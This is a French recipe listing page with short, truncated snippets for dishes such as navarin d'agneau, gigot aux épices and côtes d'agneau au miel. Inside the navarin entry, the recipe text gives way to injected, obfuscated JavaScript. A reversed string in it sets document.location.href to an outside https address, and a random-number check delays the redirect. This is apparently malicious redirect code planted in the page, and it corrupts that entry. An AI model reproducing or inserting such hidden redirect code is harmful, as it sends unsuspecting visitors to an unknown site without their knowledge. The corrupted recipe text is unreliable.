Recipes From Cuisine: Viandes

Épaule d’agneau au Jurançon

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Pelez, Coupez-les gousses d’ail. Ôtez le germe. Les émincer. Pelez, émincez les oignons. Coupez en ...

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Épaules d’agneau au curry

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Pelez, émincez les oignons et les échalotes. Pelez, coupez l’ail en deux ôtez le germe ...

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Côtes d’agneau au miel

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Dans une poêle avec 2 cuillères à soupe d’huile d’arachide sur feu vif. Faites griller ...

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Agneau aux figues

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Pelez, émincez les échalotes. Dans une sauteuse faites colorer les souris d’agneau rapidement sur feu ...

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Mouton avec des cœurs d’artichauts

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Effilez les pois gourmands, écossez les petits pois, coupez en 2 les cœurs d’artichauts. Coupez ...

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Agneau aux aubergines et aux chasselas

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Coupez-les aubergines en rondelles,  les enduire d’huile d’olive. Salez et poivrez. Préchauffez le four à ...

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Tarte au poulet, potiron, tomates et mozzarella

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Dans une assiette creuse mélangez le parmesan et la chapelure. Dans une poêle avec 2 ...

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Escalopes de dinde sauce caramel et Rostis

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Préparez les Rostis en éminçant les oignons. Coupez les pommes de terre cuites en fines ...

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Navarin d’agneau

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Coupez l’épaule et le collier en tranches. Rincez, épépinez, Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = ...

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Gigot aux épices

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Dans un bol mélangez la gousse d’ail écrasée, la moutarde, le jaune d’œuf, incorporez peu ...

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